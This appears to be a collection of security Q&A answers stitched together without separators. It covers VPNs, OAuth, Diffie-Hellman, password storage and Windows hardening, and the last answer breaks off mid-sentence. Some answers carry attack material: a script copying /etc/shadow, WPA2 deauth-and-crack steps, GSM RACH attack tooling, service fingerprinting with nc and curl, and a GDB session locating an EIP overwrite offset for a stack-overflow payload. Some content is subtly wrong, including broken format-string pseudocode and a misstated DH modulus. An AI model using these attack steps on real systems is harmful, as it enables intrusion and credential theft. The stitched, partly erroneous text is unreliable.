The cat binary doesn't implant flock() calls using the LOCK_EX for exclusive write access so your assumption is correct.

You can verify that by following the system calls issues by that or any binary by running strace cat file.

A way to prevent the problem would be as follows:

#!/bin/bash

set -e

(
  flock -n 200

  echo > /tmp/shadowcopy

  chmod 600 /tmp/shadowcopy

  cat /etc/shadow >> /tmp/shadowcopy
) 200>/var/lock/.mylock

The permissions also can pose a race condition as someone can issue a tail -f /tmp/shadowcopy prior to your chmod command to gain access.

For further reading on best security practices regarding race conditions you should take a look at fnctl(), flock() & stat().

Or if someone else was on the device watching the buffer they could access the hashes as well, see https://gist.github.com/jas-/9534117.

It is proof of concept for scraping memory from a running process.


Can an open Wi-Fi hotspot be considered "secure" when using a VPN connection?

This is actually exactly the type of environment VPNs were designed to work in: when you cannot trust the local network.

If set up properly (i.e. making sure all traffic goes through the VPN and using a secure mutual authentication scheme) it will pretty well protect your connection.

This, however, requires the whole thing to be designed properly.

Obviously, your VPN must be set up so that ALL your communication goes through the encrypted channel, not just the part that is aimed at the internal network behind it (which is sometimes the case with corporate firewalls or if you're using SSH).
Avoid using SSL VPN unless you're using a pinned certificate for the server: you'll want to avoid having to perform PKI validation of the server's host name since it can be rather delicate.
Understand the limitation: you will not be able to "mask" the fact that you're using a VPN, you will not mask the volume and pattern of your exchange (which can be to some extent used to identify the type of service you're using) and your connection will ONLY be secure up to the VPN exit point: everything between that point and the destination server will not be protected by the VPN (although it can also be encrypted on its own).
There is no guarantee against a state actor who would be willing to spend dedicated resources to penetrate your security.


"Family" apps use shared passwords for different usernames. How bad is it?

It is a bad idea all around. First and foremost, it goes against the principle of authentication. By definition, the goal of authentication is to verify that a user is indeed a user, not his family member or a support technician. If someone else needs access, the should have access from their own account with their own password. At the very least, logging actions by a user would be meaningless. If the file says last edited by Bob, it could still have been anyone, no accountability.

Another problem with sharing a password is a technical one. Passwords should be salted and hashed before being stored in general, so there should be no way to find users with the same password. If they group users by it, they are storing passwords wrong.

And what happens if lets say Bob thinks someone may have seen him type the password or he may have saved it on a public computer? Does he frantically try to contact everyone to change password? Or what if he likes to change it preemptively?

Of course there could be an exception. That is if the password was not for authentication but for example for encryption. Lets say you have a cloud application that allows to share files with family. The files could be encrypted with the password end to end allowing the company to newer know the password in the first place. This would be arguably more secure, as it would be end-to-end encryption with nice strong symmetric cipher. On the other hand, it is still often possible to encrypt multiple copies of a master key to allow different passwords.


Is it possible to get malware from .txt files?

Depends on the text editor you use, some of them may have known vulnerabilities that may allow it, but just from opening an txt file with notepad wont do any harm.
For example word allows macros to be used, so you can create an malicious macro and download malware or do something else, pdf can also contain an malicious codes.


Don't do it. Salts have to be unique, that's their only requirement. But your approach doesn't generate unique salts, but password-dependent ones.

A per-db-unique salt helps when its long enough (256 bits), and you also hash in the username, but that still leaves issues.

Having only 3 iterations of SHA256 is rather not the way password hashes should be, although its not just a 'higher is better'. If an attacker is busy doing lots of iterations of sha, they can't try new passwords. Make sure you use PBKDF2 or similar to prevent further attacks. You can take the logarithm by 2 from the iteration count, and then you get the added 'bits of security' for breaking a password. Iterations give you a tradeoff between computation power and security, but to a very (1:1 instead of 1:exp with password length) unefficient conversion rate.

What you are doing is not salting, its baking a new hashing function from another one. For every user, create a random string with 256 bits of entropy from a PRNG, and use that as salt.


What happens if you forget your 1Password password?

If you don't have an up-to-date backup, you will permanently lose access to all the data stored by 1Password.
There is no way for 1Password to decrypt the data, simply because they don't know the key. Your password is the key to the AES encryption used.


Certificate pinning and the key distribution problem

You mention mobile applications. Mobile applications are typically installed from a specific vendor-controlled app store (the App Store in the case of iOS devices and the Play Store in the case of Android devices). You have to trust the store to deliver the correct binary to the device but it's still much safer than the CA system that allows any CA to sign on behalf of anyone.

On desktop systems, this problem is much more difficult. Linux-like package managers mostly solve this problem through the use of package managers that verify packages signed with preloaded keys. Again, you trust the repository that delivers the package but it's a much smaller attack surface.


Why using a SSL certificate if top websites doesn't use them?

These big sites do need to start using HTTPS and are likely in the process of switching over however they were established long before it was recommended to secure whole sites with SSL/TLS.

The process of switching from HTTP to HTTPS can be much harder for long time established websites, especially when they have a large volume of old content to sort though and have links to this content all over the web. Any visitor coming from a non-secure link would need to be redirected to the secure version of the page.

On top of this, any media content on the pages would need the URL updating to point to a secure version. Web browsers will show a Mixed Content error and have a red broken paddle-lock if a page served over HTTPS tries to load content from a non-HTTPS location.

This Mixed Content issue can also effect any Adverting Networks the site may be using as these would need to be serving Ads via HTTPS.

Wired have quite a few articles about the difficulty they had switching over to HTTPS. You can read their retrospect here - https://www.wired.com/2016/09/wired-completely-encrypted/

Rather than focusing on what others are not doing, here are a few of the benefits for your site:

User trust. As more of the Internet is secured, users are going to start noticing when pages are not secured. This will be further enhanced as browsers get stricter and stricter on non-secured pages. [1]
Pages on your site can not be tampered with while passing over the Internet.
Speed improvement if your site is running on a web server that supports HTTP/2. Web browsers only support HTTP/2 when using HTTPS. [2]
Improved Google Rankings. HTTPS sites to may get a boost in search rankings. [3]

[1] https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html

[2] https://http2.github.io/faq/#does-http2-require-encryption

[3] https://webmasters.googleblog.com/2014/08/https-as-ranking-signal.html


How to SERVICE_START_NAME value for processes without a Name Service?

When and by whom was a Windows process started

 CMD> wmic process {PID} get creationdate,parentprocessid

 Note: I'm sure this can be done with PowerShell as well, but it always
 takes me two or three times as long to use PowerShell so I rarely bother

If the parent process is still running, you can look at it with tasklist TaskManager etc. Note it is possible the original parent process exited and then a new process was assigned the same PID, so if the relationship doesn't make sense, look at the apparent parent's (!) creationdate also.

Or if you want to do this a lot, I recommend ProcessExplorer from https://technet.microsoft.com/en-us/sysinternals/default.aspx with View / Show Process Tree. This displays child processes sorted under their parents (if still existing) and indented, making the relationships easy to see. It can also show the UserName for each process, see View / Select Columns.

What processes are started at boot/login/etc

There are lots of places in Windows where things can be configured that start processes automatically at boot, login, or other events including scheduled times. There are quite a few tools that try to make sense of these. I like Autoruns from the same webpage above; I don't know if it includes absolutely everything but it has always included everything I needed to look for.

(FWIW as of today ProcessExplorer and Autoruns are the first two of the Top 10 Downloads.)


Will enforcing this restriction on Domain Admins "break the network"?

The ESAE (Red) Forest is now the goto recommendation for securing Active Directory.  https://technet.microsoft.com/en-us/windows-server-docs/security/securing-privileged-access/securing-privileged-access-reference-material

Without knowing the intricacies of your network, its hard to say for sure, but Domain Admins do not require network access to Domain Controllers that I know of, but it could be a risky move without testing.  That being said, you would obviously require physical access to those devices.

The better solution is to used a tiered model for privileged access where DCs are Tier 0, member servers or sensitive servers are tier 1, tier two is desktops.  There should be no vertical traversal of accounts, so an admin may have a t0 account for DCs, t1 for member servers and t2 for desktop mgmt, and t3 for end user use.  None of those can access other tiers.  You can take that a step further with protected access workstations (PAW)(see link above).

If your DAs can't access your member servers, then a compromise of a member server in and of itself can't reveal a domain admin.  They would have to continue to jump or find other short comings where processes or tools leak data between tiers.  That is where the PAW comes in where you have a physical device with IPSec that is the only device allowed to connect to a DC, and no other account can access that device.  Then you would have to have physical access in order to compromise DA and since that DA can only be used on that physical device, Mimikatz would never see it in use anywhere else.

Note: This gets more complicated if there are non-windows devices to manage.  This also doesn't matter if you aren't 100% up to date on patches and don't follow other basic security practices like not running java/adobe on servers/DCs, restricting internet access to servers/DCs, implement network segmentation, etc.

Feel free to reach out if you want to discuss further.


How Do I Troubleshoot a Browser Hijack on a Mac?

If ping is returning an unwanted IP address for a domain, it almost certainly means something is hijacking your DNS settings.

The first step to check would be the hosts file

/etc/hosts

Then look here to determine what server or process is resolving your DNS

/etc/resolv.conf

Alternatively, you can use this command

scutil --dns

Firefox may be working because it's configured to use a SOCKS proxy, but it's impossible to know for certain without more details.


Is it safe to store the state parameter value in cookie?

Is it safe to use a secure, HTTPOnly, SameSite cookie (say, with a short timeout) to store the state parameter's value?

You can make it secure.

Assuming you're writing server-side software (I'm assuming you do, since you mention setting the HTTPOnly option for the cookie): Encrypt the state parameter on the server and store the encrypted value in the cookie. (Details: Make sure you use a secure encryption algorithm with a random iv, and don't use ecb mode). Make sure you keep the encryption key secure on the server.

Why encrypt the cookie?

You have to encrypt the state value (or the whole cookie) for two reasons:

On principle: Security people like to layer their security measures.
If one fails, the other will still protect you. Even if
you protect your traffic with SSL, the SSL encryption may be compromised. For example, where I work, we have a content-inspecting firewall which does MITM on SSL, so it breaks the security of the connection by design. (This is a really bad idea, all in all, but I believe this is quite common - and it means that you can't count on SSL protecting the connection from your server to your clients.
To protect the state value from the client (user-agent). If there is malware sitting on your client, you don't want to expose the state value to it. It might get stolen. If the state value is encrypted, client software has no access to it, which is good.

Is this safe?

This is just as safe as storing a session id in the cookie and then using the session id as an index into a server-side database table, since neither the browser nor malicious javascript sitting in the browser nor anyone else sees anything more than an opaque, random-looking string in your encrypted cookie, and if they mess with it in any way, it won't decrypt to the original state value, which will cause the verification of the state to fail. But you might want to add a MAC (message authentication code) and only touch the encrypted state value from the cookie when the MAC checks out to secure your cookie contents against meddling.

Local in-browser javascript vs server-side processing

If you're writing browser javascript that makes oauth requests, you have to be extra careful (but javascript browser security is fundamentally broken; if you have a javascript browser application do oauth requests, I doubt you can make that really secure - you can make it reasonably safe, but probably can't defend against a determined adversary.

Is validating the state parameter sufficient?

  Would validating the value in the cookie with the value in the state parameter be sufficient to verify the validity of the request?

Whether validating the state is enough to validate the oauth request (reply?) depends on which flow you are using and at what step in the protocol you are.

For example, if you're getting back a jwt id token, in pretty much all of the scenarios you must verify the id token to make sure it's valid and meant for you (you can do that yourself or send it to a verification endpoint. A jwt id token is digitally signed and you must make sure the signature is okay, the audience and your client id match, the token hasn't expired etc.).

The same goes for access tokens: If, for example, you don't verify the audience of the access token, bad things might happen (e.g. the access token might be intended for another client...)

There are a few cases where you don't need to verify tokens. When you're using using open id connect to get an id token from an identity provider and you don't route the request through the browser, and get back the id token from your identity provider via server side request, then I think you can trust the id token without verification. However, I still always verify, just to make sure I don't stumble over my own cleverness ;-)


Multiple security layers for SOA REST intranet services

Assuming all your accounts are stored in Active Directory, and only AD, and you will not accept any account registered at an external provider, it's hard to see additional benefit of simply using OAuth solely as the protocol to authenticate* users registered on your AD.

OAuth has a different use-case, it is designed to fit for federation scenarios:

  It allows users to share their private resources (e.g. photos, videos, contact lists) stored on one site with another site without having to hand out their credentials.
  - Wikipedia

In your case, there is no need to share credentials in the first place, since the client machine, the server application, and the user accounts are all registerd in AD to begin with. SSPI (aka Windows Integrated Authentication) would probably fit your needs just as well.

There are a few downsides, though, to just using WIA/AD out of the box - for one, having transparent user authentication (via WIA) can lead to some other weaknesses, such as CSRF (doesn't cause it directly, but it definitely makes it much easier to exploit).
Depending on how you were thinking of implementing OAuth, this may or may not have mitigated this issue. Regardless, there are other better solutions than OAuth (which has it's own complexities).
There are also possible AD issues to consider, however your proposed solution (OAuth+AD) would not have affected this anyway.

So, bottom line - I don't see any benefit in sticking OAuth in there.
If there is a specific risk you're worried about with WIA, there are probably better / easier solutions.


Securing iPads and laptops in an enterprise

There are many applications that provide the functionality that you are looking for.

They are called 'Kiosk Stations' and can limit user access to the screen, disk and even system buttons (using an enclosure).

Find much more information here : www.ipadenclosures.com - directed towards a full enclosure solution.
If you like to have just a lockdowned machine - you can restrict some features using iPhone Configuration Utility here.


Besides the above three options, you can also set up a password safe in an application like keepassX or PasswordSafe, and share the encrypted file via your version control system or (email if necessary). The key point would be to avoid typing/sending the master password in an email, and distribute it on phone call.


Does critical SubjectAltName IP:x.x.x.x on an SSL client certificate limit where the certificate can be used from?

No. SubjectAltName gives alternative names, so it means that the certificate is good for the Subject name and also for any name listed under SubjectAltName. It does not create an additional requirement to be met, it gives an alternative requirement to be met.

So a server-side certificate with alternative names "www.example.com" and "192.168.1.5" would be considered valid for https://192.168.1.5/ OR https://www.example.com/. Both criteria do not have to be met, only one of them.

However such a certificate would not match url https://test.example.com/ even if the IP address of test.example.com was in fact 192.168.1.5. Only the name as it appears in the URL is checked.

To limit use of a certificate to a particular IP, you need to implement your own restrictions, probably at the application level. I.e. you will have to write code which checks the client IP and the certificate and validates that the rules are complied with, returning a suitable HTTP status code if not.


Carrying two authorization tokens in a request

That is not wrong, but redundant. As you say, if there is a legacy
system involved, then such an approach might be unavoidable.
Effectively what you have an initial authentication, which is later
superseded by authentication from sub-service.
Yes, X-Auth-Token is
an appropriate header for your secondary token.
The only point to consider in this case - what happens when you need to close the
session? You are introducing a complication that both tokens need to
be invalidated to avoid ambiguity.


gpg ignores passphrase on my key stored on yubikey 5 nfc

Encryption with GPG works using Public-key cryptography. All encryption is done with your public key (hence no password required here).

The password of your GPG master key is only used during creation of your subkeys. It works more like a CA here verifying that your subkeys are validated by your master key.

You're probably referring to guides like this where it says

  The Master and subkeys will be encrypted with your passphrase when exported.

Which is true for your exported keys as a file.

So basically what you'll end up with after setting up your YubiKey like that is some GPG smartcard protected with your YubiKeys pin.


How secure are "mobile authenticators" versus traditional key fobs?

Relative to the idea of multi-factor authentication, any additional factor beyond something you know adds an additional level of complexity for someone to gain unauthorized access to an account.  The second factor that many organizations use is something you have be it a fob of sorts (event or time based OTP), smartcard (HSM), phone (SMS, call), or an application (in the case of "soft" tokens (either an app that's installed on the phone or computer)).

Key fobs have become popularized but the security industry has seen that exploitation is possible (do a search on RSA and you'll see why).  Key fobs can be broken if someone breaks the system.  Instead of disassembling each token out there, an attacker broke into RSA and gained access (though I don't recall if this was "proven" or not) to the secret sauce that makes each token unique.  Similarly, smartcards and USB tokens can be broken if the adversary successfully attacks a higher level in the tech stack or process to ensure each smartcard is unique.  Mobile authenticators can be broken (same way as with RSA or via other means), but the idea hasn't ever been to block 100% of the attacks, which is cost prohibitive for most organizations.  The goal is to implement preventative (where possible) and detective technologies such that unauthorized access attempts are blocked or identified where successful.  To that end, mobile and hardware fobs still add value.

Perhaps to your point, mobile authenticators likely provide sufficient protection for Battle.NET users.  Fundamentally, they're protecting against users stealing money or gaining access to someone else's account.  In the event someone is really interested in breaking the system, hardware or mobile authenticators (or even biometric) layered in third and fourth factors may not be sufficient.  So from a cost perspective, mobile authenticators are cheaper to deploy, simpler for users to use, and provide an additional layer of protection.  Hardware authenticators are more costly for both the user and game provider to implement and maintain.

To sum it up, mobile is good enough for the use case.


What was the point of Implicit Grant Flow in OAuth 2.0?

Fortunately, I work at Ping Identity where some of the people who wrote the OAuth 2.0 and OIDC spec work! I had a recent conversation about this very topic because we were chatting about the new RFC that is basically recommending people not use the implicit flow anymore.[1]

Your confusion is likely because it wasn't created for a different use case but for simplicity. This is from conversations and the original spec which states (with my emphasis):

  The implicit grant is a simplified authorization code flow optimized
     for clients implemented in a browser using a scripting language such
     as JavaScript.

It's a simplified flow of the one you should be using (authorization code) for simple apps.

This simplicity also helps a little for efficiency:

  Implicit grants improve the responsiveness and efficiency of some
     clients (such as a client implemented as an in-browser application),
     since it reduces the number of round trips required to obtain an
     access token.

The main purpose though was simplicity in design. With the announcement of a new security standard for identity, they wanted to provide a simple option for greater adoption. With a simpler method, it would be easier to implement and less time-consuming.

[https://tools.ietf.org/html/draft-ietf-oauth-security-topics-13#page-6][1]


Is re-prompting a user for credentials an effective measure to prove a user's identify

Yes, this is quite common and generally more effective than not.

Typically this is used to assert that the user sitting at the keyboard is the same person that logged into the app at some point in the past. This prevents scenarios where a user has left their computer unlocked, or left themselves logged in on a public terminal, or where the user is accessing the site through a weaker form of authentication like a "magic" login link in an email.

There are lots of other solutions but the only one you get for free (by virtue of having already collected the email and password) is to challenge the user to re-enter their password.

  and have found a few pages which re-prompt the user for a password before a transaction is submitted ... AAD B2C doesn't support the Resource Owner Password Credentials Grant flow so I'm forced to look for alternatives.

You should definitely not use the Resource Owner Password Credentials Flow for this purpose, which allows an RP to collect a plaintext password and forwards it to he IDP for verification.

OIDC provides a purpose-built alternative: You should perform a new authorization flow using the prompt parameter to instruct the IDP to force the user to re-enter their password.

Initiate a new Code Flow but include prompt=login, and the IDP will (or at least SHOULD according to the spec) reauthenticate the user.

prompt and the values it supports is defined in the OIDC core spec under 3.1.2.1.  Authentication Request.


Is it possible to write a value larger than 64bit using a format string attack (%n)?

assuming what you mean is that you want to write in the middle of your 64 bit address, because your on a 64 bit system you could just create 8 byte array and add them to an unsigned long long
kind of in sudo code:

//get the pointer to the nearast address
unsigned long long * datapointer = 0x18;
//get all the data from the smallest adressible chunk for your system, in this case 64 bits
unsigned long long data = &(datapointer);
//some values of individual bytes you want to override
uchar a = 0x23;
ucahr b = 0x99;
...
//clear out the bytes you want to change
data = data & (data mask to be overidden);
//change the desired bytes with the desired values
data = data | a << (byte number for a in bits);
data = data | a << (byte number for b in bits);
//override the data chunk
&datapointer = data;


Downloading a file from a server with a secret: in text or binary?

There isn't really a difference.

If you use proper TLS encryption, neither can be read by a man in the middle, and if the server properly authenticates requests, nobody who is not allowed to will be able to download the file.

If you don't use proper TLS or do not properly authenticate users, an attacker could read the file in both cases.

You definitely should not use non-password protected zipping as a security measure.


What should I do with the hidden/disabled Administrator account?

Considering teh concept of defense in depth, a password has to be set for all critical account irrespective of their status. So it is recommended to enable Admin to set up a strong password.

net user Administrator

Ref: http://hardenwindows10forsecurity.com/


Can the client certificate authentication process treated as a user digitally signed the content(and then get verified on the server)?

The client authentication in SSL is just that: authentication. It convinces the server that the expected client is indeed on the other end of the line. However, the server obtains no proof that way: there is no data which the server can gather and show to a third party (a judge), which would "obviously" convince the judge that the client was indeed involved in the process and sent the request that the server claims that it received.

The relevant concept is non-repudiation. Ultimately, this is a legal concept. However, that concept, depending on the jurisdiction, will try to use the technical properties of the involved communication protocols as a sturdy (or not) foundation. The client authentication in SSL internally uses a digital signature (as part of the CertificateVerify handshake message) but that signature is computed over random challenge data, but not the application data (HTTP requests and responses) that is sent in the SSL tunnel. Indeed, this signature happens before application data is sent in either direction. Thus, technically, that signature does not provide non-repudiation, since it does not cover the actual data.

In other words, what the server may show to a judge can be a convincing proof that the client did send the alleged request only if the judge assumes that the server applied all needed verifications and is fully honest. However, such a case will be brought to the attention of a judge only in the event of some litigation between the client and the server's owner; as such, it would make little sense to arbitrarily assume that the server is honest (it would make the trial outcome quite biased).

Summary: if you consider the SSL certificate-based client authentication as a "signature", then chances are that the resulting legal value will not hold in court, at least not when the server itself (or its owner) is one of the litigating parties. It may work if you are in a context where it can be somehow proven that the server is completely honest and does not try to frame the user; that's not the usual context when considering digital signatures (usually, digital signatures are requested by the server in order to allow the server to sue the client afterwards).


Privacy and VPN - does employer's VPN still log activity when I am connected by wifi?

Sign out of Junos to keep your traffic off their network, there is no need to uninstall the VPN client completely.

If you had signed in to Junos, it was routing all your network traffic through their VPN. Although you were on your own Wifi, when you logged in to Junos, it would have redirected all your traffic into their VPN.

There is a chance that they had configured the VPN client to use split-tunneling to minimize the traffic which was sent on their network. You'll have to ask their systems department to find out.

This is a link to a juniper datasheet, look under the features and benefits section.


What is the difference between Diffie Hellman generator 2 and 5?

Diffie-Hellman works in a subgroup of integers modulo a prime p. Namely, you have a generator g, which is a conventional integer modulo p. That generator has an order r which is the smallest positive integer such that gr = 1 mod p. The two systems who engage in DH choose private keys a and b respectively as integers in a given range, and the corresponding DH public keys (which they exchange over the wire) are ga mod p and gb mod p.

DH is secure as long as:

p is "proper": big enough (at least 1024 bits) and not produced with a "special structure" which makes discrete logarithm easy. A randomly generated prime of the right size will be fine.
The biggest prime divisor of r has size at least 2k bits, when targeting a security level of "k bits". Basically, the biggest prime divisor of r should be a prime integer of size at least 160 bits (200 bits or more would be preferred by today's standards).
The DH private keys are generated in a range of size at least 22k or so. Basically, a and b should also be 2k-bit integers.

The exact value of the generator g does not matter, as long as both parties use the same value. It can be shown that if someone can compute discrete logarithm relatively to a generator g, he can compute it as easily relatively to any generator g' of the same subgroup. Thus, what matters is the subgroup order, not the generator. You can use 2 or 5, it won't change security.

Using a short generator has some (slight) benefits for performance, which is why they are preferred. The performance difference between 2 and 5 will be negligible, though. In some protocols, the generator is agreed upon at the protocol level, i.e. not transmitted over the wire; it is hardcoded in both systems. Some protocols thus mandate the use of 2, others want to use 5, out of historical and traditional reasons. OpenSSL, as a general-purpose library, can generate parameters for both cases.

There are details, though. Making sure that the chosen generator indeed has an order with a big enough prime divisor can be tricky. By default, openssl dhparam will generate a so-called "safe prime", i.e. it generates random primes q until it find one such that p = 2q+1 is also a prime integer. The order of any g modulo q is always a divisor of p-1. Thus, by using a safe prime, OpenSSL is guaranteed that the order r of any generator g in the 2..p-2 range (in particular 2 and 5) will be equal to either q or 2q, thus always a multiple of q, which is a big enough prime.

If OpenSSL generated a random p without making sure that it was a "safe prime", then the actual order of g = 2 or 5 would be hard to compute exactly (it would involve factoring p-1, which is expensive).

In some non-DH contexts, namely the DSA signature algorithm, one must have a DH-like subgroup such that the order of the generator is exactly equal to a given non-too-big prime q, instead of merely being a multiple of q. In that case, OpenSSL (with the -dsaparam command-line switch) will first generate q, then p = qt + 1 for random values of t until a prime is found; and the generator will be obtained by taking a random s modulo p and computing g = st modulo p (this necessarily yields either 1 or an integer of order exactly q). When producing DSA parameters, the generator cannot easily (or at all) be forced to be a specific small integer like 2 or 5. For DSA, the generator is "big".


Snapchat clone: How do I secure pre-downloaded notifications so that they cannot be opened outside of the app?

In principle, there is no way to solve this problem.  Snapchat is a lie.  If Alice is motivated and knowledgeable, she can arrange to make persistent copies of any snapchats that she can view.  There are probably dozens of ways to do this: making screenshots, reverse-engineering the app to steal the decryption key, rummaging through memory to find the data and making a copy, etc.

There's no way you can prevent a motivated, knowledgeable user from making a permanent copy.  Trying to stop that is like trying to make water not wet.

All you can do is raise the bar a little bit, so that it's non-trivial to make a permanent copy (i.e., make it so unknowledgeable or unmotivated users are unlikely to succeed).  That's a risk reduction approach.  But nothing will be secure in principle.  As a result, this is not really a question cryptography can solve.  It's more a question about security.  You might want to try asking on Security.SE.


Plaintext DNS traffic in a WPA2 session?

No, DNS requests are not sent in plaintext over the air between the access point and client device.  All traffic between the two is encrypted according to the WPA2 spec using the supplied key, including DNS requests.

Once the encrypted traffic containing the DNS request is received by the AP, it is decrypted and can be examined, and it is at that point that the DNS request exists in plaintext again.  It will then presumably be forwarded on to its destination via a wired connection, but not necessarily.

As far as how this relates to the recent glibc vulnerability, only a device that is connected to the network can possibly intercept or read DNS requests.  A device must either be connected via a wired connection, or it must be able to authenticate with a wireless AP.  WPA2, while not as easy to crack as WEP, is still crackable if the malicious device is listening when a valid handshake occurs.  A handshake can be forced by sending out what's known as a "deauth frame".  This forces devices in range to re-authenticate with the AP, which allows the attacker to capture the handshake.  Once captured, the attacker can use this data from the handshake to crack the password.  Depending on how much processing power they have and how secure your password is, this could take anywhere from a few minutes to a whole week.  A week is a lot of time and energy to invest in cracking some random person's wifi (an attacker will likely move on to the person who has "pony123" as their password), so you can inoculate yourself against this kind of attack by choosing a secure wifi password (avoid dictionary words, use upper- and lowercase letters, use numbers, and maximize the length).

Once a malicious device has access to your network, it can potentially interfere with DNS requests and exploit the vulnerability in the glibc library.

What can you do about this?  First, make sure all of your affected operating system instances are patched.  Then make sure you aren't using any apps that are also affected.  Any application that is statically linked to glibc will also need to be updated with the patched version.  Dynamically-linked applications will be effectively "patched" when the OS is patched.  You can also set your DNS server IP addresses manually (for example, use Google's 8.8.8.8 or Level3's 4.2.2.X range) which will cause your device to ignore DNS responses from spoofers (assuming they aren't also IP spoofing).  And, obviously, choose a secure wifi password.


How to perform RACH attacks on GSM mobile networks?

A full-duplex software defined radio would be useful - it would allow you to send any GSM packet you want, even malformed ones which you won't be able to send with off-the-shelf GSM hardware.

On the software side you can always use custom code to generate your GSM frames, but you can have a look at OpenBTS and OsmocomBB for ready-to-use open source code that handles the GSM protocol. GNU Radio has a module for GSM as well. Wireshark can display captured GSM frames.


How vulnerability scanners identify version of services on targets

How Fingerprinting works

For every service fingerprinting would be done differently, generally, it works by finding differences between the implementations, and using them to detect the version of the software, I have included a few simple examples:

SSH

If you run the following command:

nc HOST 22

You can see that the first thing that a server sends is a string identifying it's version, such as:

SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

From this you can get the version

HTTP

If you run the following command:

curl -v URL > /dev/null

You can see that the server sends many headers, one of which is likely to look like this:

< Server: cloudflare

This can show you the server if it has not been changed, and possibly the plugins running also

Wordpress

Looking at the feed available at /feed/ gives an xml file with the following tag:

<generator>https://wordpress.org/?v=4.9.2</generator>

If this is disabled then differences in the readme can be used to detect the version instead


How could one avoid virus infection via software updates

Updates are usually digitally signed with the private key of a digital certificate, which can be later verified by the operating system using an embedded public key. If the signature is invalid, the update is not installed.

In the case of Flame, they exploited the fact that Microsoft was using an MD5-based certificate on a particular code signing server. MD5 is vulnerable to collision attacks, which allowed the creators of Flame to create a fake certificate and sign their executables as being created by Microsoft. The certificate has since been revoked, and Microsoft have (supposedly) ensured that all their certificates now use SHA1 or better.


If your provider filtering device (ids,end-point protection) has detected some kind of malicious traffic generated from your home-network; that rule (blocking) of namp may be linked in that case. Or sometimes these devices have auto rules to block in case of recon attacks. The traffic from home-network is more of a client-> internet requests ; devices that just analyzes behavior get cautious as they see now inbound traffic generated towards the home-network. Anyhow, you should take this matter with the provider.

As to scan the home-network have you tried an online solution?

http://nmap.online-domain-tools.com/
http://www.seomastering.com/port-scanner.php

If the results still fail it means its not just you; its just the signature that get caught by the filtering device and gets blocked.


Google Chrome Browser - Privacy Concerns

The Google Chrome Wikipedia page details the different components that do usage tracking.

Features that can be entirely turned off:

clientID (unique identifier that logs usage metrics (stats and speeds, etc) and crashes)
Suggest (could share text typed into address bar to suggest the website you might be trying to find)
Page not found (could share text typed into address bar when the page isn't found)
Bug tracker (could share details about crashes or failures)
Google Updater (could share info about Chrome version)

Features that can be partially turned off:

RLZ identifier ("encoded string, according to Google, contains non-identifying information how Chrome was downloaded and its install week, and is used to measure promotional campaigns. Google provides the source code to decode this string.")

Features that cannot be turned off:

Random installation token (used to measure success rate of Google Chrome installation)

If you go to your Google Chrome preferences and turn off every feature that might "suggest" something to you or "help make Chrome better", then Chrome presents no outstanding privacy risk. Also, you have the option to log in using your Google account to sync your Chrome preferences. If privacy is an issue, choose not to do that.

If you browse using the Chrome Incognito mode, then your cookies and history will not remain on the computer you're using - even better for the privacy conscience.


For starters, no, that is not an exploit mitigation you are seeing. It is likely just due to an issue with your exploit. To explain the following:
 #0  0xfdabe850 in ?? ()
 #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd

GDB is building the stack trace based on the values that it sees in memory. With a buffer overflow where you are overwriting things you aren't supposed to, it is likely that the stack got corrupted, and that's what GDB is showing.
The issue with your exploit may be that your payload is not long enough. It's still long enough to corrupt the stack and cause a crash, but not long enough to control the instruction pointer how you want to. To determine the correct offset, I did (using GDB+GEF):
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ gef run $_gef0
Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
...
gef➤  pattern search $eip
[+] Searching '$eip'
[+] Found at offset 32 (little-endian search) likely
[+] Found at offset 29 (big-endian search)

That tells me that the instruction pointer (EIP) is set from whatever is in bytes 32-35 (inclusive) of your payload. By writing "\x97\x62\x55\x56"x8 as you currently are, you are writing just up to this point (bytes 28-31), but not far enough. So, changing your multiplier to x9 may be enough to solve the issue.
A side note, if you are practicing a simple exploit like this, you are probably going to want to disable PIE when compiling the binary (gcc -fno-pie --no-pie), since it will cause the program addresses to be randomized every time you run it when outside of GDB. \x97\x62\x55\x56 may be the correct address while in the debugger, but that is unlikely to stay the same elsewhere.
* It's possible these differences come from differences between our machines/compilation. But I compiled the code with gcc -m32 -fno-stack-protector.


Will signing messages with key derived from password work better than sending password

You should transfer the password over HTTPS. For storage, hash the password with Argon2.

Do not attempt to roll your own scheme. Anything beyond the above is generally unnecessary except for specific circumstances (e.g. where you need the server to have no knowledge of the password, in which case you want SRP).


CVE-2015-3864 - Android Stagefright - how Integer Overflow happens here?

Simply test it yourself by writing easy CPP files, which is probably self explaining:

In this example you would even only allocate a buffer of size 1.


From a security perspective, why not a screenshot api for browser?

Presumably it would need to not capture content loaded from other domains (like iframes or images), but that seems solvable.

The easiest explanation is that for any feature to exist it has to be prioritized over all of the other features that don't exist.  You have to sell it to developers and this seems like it would have privacy implications that would cause users to oppose it.


How DH parameters are generated
There are two types of generators for DH parameters. Each generator has two steps: a step that requires random input, and a deterministic step. The two steps are the same between the two types of generators:

Your system supplies entropy to the generator, which uses it to generate candidate primes.
A deterministic algorithm goes and discards any prime that has unsafe properties.

This second step is designed to avoid generating moduli which have accidentally unsafe mathematical properties. This step is not designed to detect intentionally malicious candidates, only accidental ones that will naturally pop up. The result of these computationally difficult steps is a list of moduli suitable for use in DH key exchange and which do not have accidental weaknesses.
Malicious parameters
It is possible to create backdoored Diffie-Hellman parameters which are still validated as safe. For example, certain primes compatible with SNFV or primes vulnerable to the small-subgroup attack. There are far more issues. This means that trusting a service which provides these parameters can be risky, since you have no way to know if the moduli have actually used a random number generator to select the primes or not, as you do not have access to the seed they are using. The deterministic validation step is designed only to catch the accidental unsafe primes that come about due to the large number of candidates that are created. It is not meant to be hard to "trick".
Nothing-up-my-sleeve numbers
A nothing-up-my-sleeve number is a value with suitable mathematical properties which is well-known, alleviating the question "why did you choose those constants?". Some examples used in cryptography are π, e, or even the Declaration of Independence. This would allow anyone to validate both that the primes are safe and that they were generated in a completely deterministic and reproducible process. If they were do this, it would be significantly more difficult for them to generate malicious moduli. For example, all moduli from RFC 3526 use π as a nothing-up-my-sleeve number, so all primes are in the form of:

